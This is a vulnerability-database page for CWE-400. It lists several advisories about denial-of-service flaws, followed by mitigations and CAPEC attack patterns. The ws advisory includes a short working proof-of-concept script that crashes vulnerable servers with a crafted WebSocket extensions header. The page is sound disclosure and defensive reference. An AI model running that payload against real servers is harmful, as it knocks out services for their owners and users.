CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5569 vulnerabilities reference this CWE, most recent first.
GHSA-5V2C-57G6-P92F
Vulnerability from github – Published: 2022-05-24 17:08 – Updated: 2023-04-25 18:30A vulnerability has been identified in SCALANCE S602 (All versions >= V3.0), SCALANCE S612 (All versions >= V3.0), SCALANCE S623 (All versions >= V3.0), SCALANCE S627-2M (All versions >= V3.0). Specially crafted packets sent to port 443/tcp of affected devices could cause a Denial-of-Service condition of the web server.
{
"affected": [],
"aliases": [
"CVE-2019-13925"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-02-11T16:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been identified in SCALANCE S602 (All versions \u003e= V3.0), SCALANCE S612 (All versions \u003e= V3.0), SCALANCE S623 (All versions \u003e= V3.0), SCALANCE S627-2M (All versions \u003e= V3.0). Specially crafted packets sent to port 443/tcp of affected devices could cause a Denial-of-Service condition of the web server.",
"id": "GHSA-5v2c-57g6-p92f",
"modified": "2023-04-25T18:30:22Z",
"published": "2022-05-24T17:08:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13925"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-591405.pdf"
},
{
"type": "WEB",
"url": "https://www.us-cert.gov/ics/advisories/icsa-20-042-10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5V37-529G-93GG
Vulnerability from github – Published: 2022-05-24 16:54 – Updated: 2022-05-24 16:54An issue was discovered in xfs_setattr_nonsize in fs/xfs/xfs_iops.c in the Linux kernel through 5.2.9. XFS partially wedges when a chgrp fails on account of being out of disk quota. xfs_setattr_nonsize is failing to unlock the ILOCK after the xfs_qm_vop_chown_reserve call fails. This is primarily a local DoS attack vector, but it might result as well in remote DoS if the XFS filesystem is exported for instance via NFS.
{
"affected": [],
"aliases": [
"CVE-2019-15538"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-25T16:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in xfs_setattr_nonsize in fs/xfs/xfs_iops.c in the Linux kernel through 5.2.9. XFS partially wedges when a chgrp fails on account of being out of disk quota. xfs_setattr_nonsize is failing to unlock the ILOCK after the xfs_qm_vop_chown_reserve call fails. This is primarily a local DoS attack vector, but it might result as well in remote DoS if the XFS filesystem is exported for instance via NFS.",
"id": "GHSA-5v37-529g-93gg",
"modified": "2022-05-24T16:54:43Z",
"published": "2022-05-24T16:54:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15538"
},
{
"type": "WEB",
"url": "https://github.com/torvalds/linux/commit/1fb254aa983bf190cfd685d40c64a480a9bafaee"
},
{
"type": "WEB",
"url": "https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=1fb254aa983bf190cfd685d40c64a480a9bafaee"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2019/09/msg00014.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2019/09/msg00015.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/O3RUDQJXRJQVGHCGR4YZWTQ3ECBI7TXH"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/T4JZ6AEUKFWBHQAROGMQARJ274PQP2QP"
},
{
"type": "WEB",
"url": "https://lore.kernel.org/linux-xfs/20190823035528.GH1037422@magnolia"
},
{
"type": "WEB",
"url": "https://lore.kernel.org/linux-xfs/20190823192433.GA8736@eldamar.local"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20191004-0001"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K32592426?utm_source=f5support\u0026amp;utm_medium=RSS"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4144-1"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4147-1"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00064.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00066.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-5V59-RQMV-2RCP
Vulnerability from github – Published: 2022-05-24 19:14 – Updated: 2022-07-13 00:01Affected versions of Atlassian Jira Server and Data Center allow unauthenticated remote attackers to impact the application's availability via a Denial of Service (DoS) vulnerability in the /rest/gadget/1.0/createdVsResolved/generate endpoint. The affected versions are before version 8.16.0.
{
"affected": [],
"aliases": [
"CVE-2021-39123"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-14T05:15:00Z",
"severity": "HIGH"
},
"details": "Affected versions of Atlassian Jira Server and Data Center allow unauthenticated remote attackers to impact the application\u0027s availability via a Denial of Service (DoS) vulnerability in the /rest/gadget/1.0/createdVsResolved/generate endpoint. The affected versions are before version 8.16.0.",
"id": "GHSA-5v59-rqmv-2rcp",
"modified": "2022-07-13T00:01:36Z",
"published": "2022-05-24T19:14:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39123"
},
{
"type": "WEB",
"url": "https://jira.atlassian.com/browse/JRASERVER-72237"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5V72-XG48-5RPM
Vulnerability from github – Published: 2019-06-04 19:37 – Updated: 2026-07-17 18:28Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.
Proof of concept
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'
const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
`Sec-WebSocket-Extensions: ${payload}`,
'Upgrade: websocket',
'\r\n'
].join('\r\n');
const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});
Recommendation
Update to version 3.3.1 or later.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "ws"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.0"
},
{
"fixed": "1.1.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "ws"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "3.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2019-06-04T19:37:42Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent.\n\n## Proof of concept\n\n```\nconst WebSocket = require(\u0027ws\u0027);\nconst net = require(\u0027net\u0027);\n\nconst wss = new WebSocket.Server({ port: 3000 }, function () {\n const payload = \u0027constructor\u0027; // or \u0027,;constructor\u0027\n\n const request = [\n \u0027GET / HTTP/1.1\u0027,\n \u0027Connection: Upgrade\u0027,\n \u0027Sec-WebSocket-Key: test\u0027,\n \u0027Sec-WebSocket-Version: 8\u0027,\n `Sec-WebSocket-Extensions: ${payload}`,\n \u0027Upgrade: websocket\u0027,\n \u0027\\r\\n\u0027\n ].join(\u0027\\r\\n\u0027);\n\n const socket = net.connect(3000, function () {\n socket.resume();\n socket.write(request);\n });\n});\n```\n\n\n## Recommendation\n\nUpdate to version 3.3.1 or later.",
"id": "GHSA-5v72-xg48-5rpm",
"modified": "2026-07-17T18:28:06Z",
"published": "2019-06-04T19:37:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/websockets/ws/commit/a810bfa44f08c84ff3f43cc71327e9bb5fb273ef"
},
{
"type": "WEB",
"url": "https://github.com/websockets/ws/commit/c4fe46608acd61fbf7397eadc47378903f95b78a"
},
{
"type": "WEB",
"url": "https://github.com/websockets/ws/commit/f8fdcd40ac8be7318a6ee41f5ceb7e77c995b407"
},
{
"type": "PACKAGE",
"url": "https://github.com/websockets/ws"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/npm:ws:20171108"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Denial of Service in ws"
}
GHSA-5V8M-2MHG-5WV4
Vulnerability from github – Published: 2025-01-22 00:33 – Updated: 2025-01-23 18:31A reachable assertion in the decode_access_point_name_ie function of Magma <= 1.8.0 (fixed in v1.9 commit 08472ba98b8321f802e95f5622fa90fec2dea486) allows attackers to cause a Denial of Service (DoS) via a crafted NAS packet.
{
"affected": [],
"aliases": [
"CVE-2024-24424"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-617"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-21T23:15:12Z",
"severity": "HIGH"
},
"details": "A reachable assertion in the decode_access_point_name_ie function of Magma \u003c= 1.8.0 (fixed in v1.9 commit 08472ba98b8321f802e95f5622fa90fec2dea486) allows attackers to cause a Denial of Service (DoS) via a crafted NAS packet.",
"id": "GHSA-5v8m-2mhg-5wv4",
"modified": "2025-01-23T18:31:18Z",
"published": "2025-01-22T00:33:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24424"
},
{
"type": "WEB",
"url": "https://cellularsecurity.org/ransacked"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5V9M-57MQ-QC75
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-21 21:23In version 0.3.8 of open-webui, an endpoint for converting markdown to HTML is exposed without authentication. A maliciously crafted markdown payload can cause the server to spend excessive time converting it, leading to a denial of service. The server becomes unresponsive to other requests until the conversion is complete.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.3.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-7983"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-21T21:23:47Z",
"nvd_published_at": "2025-03-20T10:15:38Z",
"severity": "HIGH"
},
"details": "In version 0.3.8 of open-webui, an endpoint for converting markdown to HTML is exposed without authentication. A maliciously crafted markdown payload can cause the server to spend excessive time converting it, leading to a denial of service. The server becomes unresponsive to other requests until the conversion is complete.",
"id": "GHSA-5v9m-57mq-qc75",
"modified": "2025-03-21T21:23:47Z",
"published": "2025-03-20T12:32:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7983"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/blob/eff736acd2e0bbbdd0eeca4cc209b216a1f23b6a/backend/apps/webui/routers/utils.py#L49"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/f8156ca5-1328-480f-a72b-8d3dfdad87dc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI denial of service through endpoint for converting markdown"
}
GHSA-5VPF-XVV7-C8VH
Vulnerability from github – Published: 2026-06-10 00:31 – Updated: 2026-06-10 00:31Applications using Spring Data Commons may be vulnerable to a Denial of Service (DoS) attack leading to a StackOverflowException when parsing Sort parameters.
Affected versions: Spring Data Commons 4.0.0 through 4.0.5; 3.5.0 through 3.5.11; 3.4.0 through 3.4.14; 3.3.0 through 3.3.16; 3.2.0 through 3.2.15; 3.1.0 through 3.1.14; 3.0.0 through 3.0.15; 2.7.0 through 2.7.19.
{
"affected": [],
"aliases": [
"CVE-2026-41711"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-10T00:16:51Z",
"severity": "MODERATE"
},
"details": "Applications using Spring Data Commons may be vulnerable to a Denial of Service (DoS) attack leading to a StackOverflowException when parsing Sort parameters.\n\nAffected versions:\nSpring Data Commons 4.0.0 through 4.0.5; 3.5.0 through 3.5.11; 3.4.0 through 3.4.14; 3.3.0 through 3.3.16; 3.2.0 through 3.2.15; 3.1.0 through 3.1.14; 3.0.0 through 3.0.15; 2.7.0 through 2.7.19.",
"id": "GHSA-5vpf-xvv7-c8vh",
"modified": "2026-06-10T00:31:51Z",
"published": "2026-06-10T00:31:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41711"
},
{
"type": "WEB",
"url": "https://spring.io/security/cve-2026-41711"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5VQM-F884-P772
Vulnerability from github – Published: 2022-05-04 00:29 – Updated: 2022-05-04 00:29The Multicast Source Discovery Protocol (MSDP) implementation in Cisco IOS 12.0, 12.2 through 12.4, and 15.0 through 15.2 and IOS XE 2.1.x through 2.6.x and 3.1.xS through 3.4.xS before 3.4.1S and 3.1.xSG and 3.2.xSG before 3.2.2SG allows remote attackers to cause a denial of service (device reload) via encapsulated IGMP data in an MSDP packet, aka Bug ID CSCtr28857.
{
"affected": [],
"aliases": [
"CVE-2012-0382"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-03-29T11:01:00Z",
"severity": "HIGH"
},
"details": "The Multicast Source Discovery Protocol (MSDP) implementation in Cisco IOS 12.0, 12.2 through 12.4, and 15.0 through 15.2 and IOS XE 2.1.x through 2.6.x and 3.1.xS through 3.4.xS before 3.4.1S and 3.1.xSG and 3.2.xSG before 3.2.2SG allows remote attackers to cause a denial of service (device reload) via encapsulated IGMP data in an MSDP packet, aka Bug ID CSCtr28857.",
"id": "GHSA-5vqm-f884-p772",
"modified": "2022-05-04T00:29:44Z",
"published": "2022-05-04T00:29:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-0382"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/74431"
},
{
"type": "WEB",
"url": "http://osvdb.org/80693"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/48630"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/48633"
},
{
"type": "WEB",
"url": "http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20120328-msdp"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/52759"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1026868"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5VVG-7WFP-QH9P
Vulnerability from github – Published: 2022-05-24 19:06 – Updated: 2022-07-13 00:01The blockchain node in FISCO-BCOS V2.7.2 may have a bug when dealing with unformatted packet and lead to a crash. A malicious node can send a packet continuously. The packet is in an incorrect format and cannot be decoded by the node correctly. As a result, the node may consume the memory sustainably and crash. More details are shown at: https://github.com/FISCO-BCOS/FISCO-BCOS/issues/1951
{
"affected": [],
"aliases": [
"CVE-2021-35041"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-24T00:15:00Z",
"severity": "HIGH"
},
"details": "The blockchain node in FISCO-BCOS V2.7.2 may have a bug when dealing with unformatted packet and lead to a crash. A malicious node can send a packet continuously. The packet is in an incorrect format and cannot be decoded by the node correctly. As a result, the node may consume the memory sustainably and crash. More details are shown at: https://github.com/FISCO-BCOS/FISCO-BCOS/issues/1951",
"id": "GHSA-5vvg-7wfp-qh9p",
"modified": "2022-07-13T00:01:27Z",
"published": "2022-05-24T19:06:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-35041"
},
{
"type": "WEB",
"url": "https://github.com/FISCO-BCOS/FISCO-BCOS/issues/1951"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5W24-2PMC-XHP3
Vulnerability from github – Published: 2022-06-03 00:01 – Updated: 2022-06-12 00:00A malformed Class 3 common industrial protocol message with a cached connection can cause a denial-of-service condition in Rockwell Automation Logix Controllers, resulting in a major nonrecoverable fault. If the target device becomes unavailable, a user would have to clear the fault and redownload the user project file to bring the device back online.
{
"affected": [],
"aliases": [
"CVE-2022-1797"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-02T14:15:00Z",
"severity": "HIGH"
},
"details": "A malformed Class 3 common industrial protocol message with a cached connection can cause a denial-of-service condition in Rockwell Automation Logix Controllers, resulting in a major nonrecoverable fault. If the target device becomes unavailable, a user would have to clear the fault and redownload the user project file to bring the device back online.",
"id": "GHSA-5w24-2pmc-xhp3",
"modified": "2022-06-12T00:00:47Z",
"published": "2022-06-03T00:01:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1797"
},
{
"type": "WEB",
"url": "https://rockwellautomation.custhelp.com/app/answers/answer_view/a_id/1135559"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-144-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.